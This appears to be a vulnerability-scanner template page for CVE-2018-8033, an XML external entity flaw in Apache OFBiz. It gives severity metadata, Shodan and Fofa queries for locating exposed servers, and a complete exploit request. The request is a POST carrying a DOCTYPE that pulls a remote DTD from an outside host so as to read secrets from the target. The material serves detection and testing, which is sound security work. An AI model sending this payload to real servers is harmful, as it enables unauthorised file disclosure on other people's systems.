| Title | Apache OFBiz - XML External Entity Injection |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Attackers can read sensitive files or cause denial of service by exploiting XXE vulnerability. |
| Remediation | Update to the latest version of Apache OFBiz that addresses the XXE vulnerability or apply security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.92044 |
| CVE ID | CVE-2018-8033 |
| CWE ID | CWE-200 |
| Shodan Query | http.html:"ofbiz"ofbiz.visitor= |
| Fofa Query | body="ofbiz"app="apache_ofbiz" |
| Tags | cve cve2018 apache ofbiz xxe vuln |
In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.
POST /webtools/control/httpService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 287
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
serviceName=createPartyGroup&serviceMode=sync&serviceContext=<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY %25 request SYSTEM 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%25request;%25secondstage;]><r>%26disclose;</r>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8033.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-8033.pcap
N/AN/A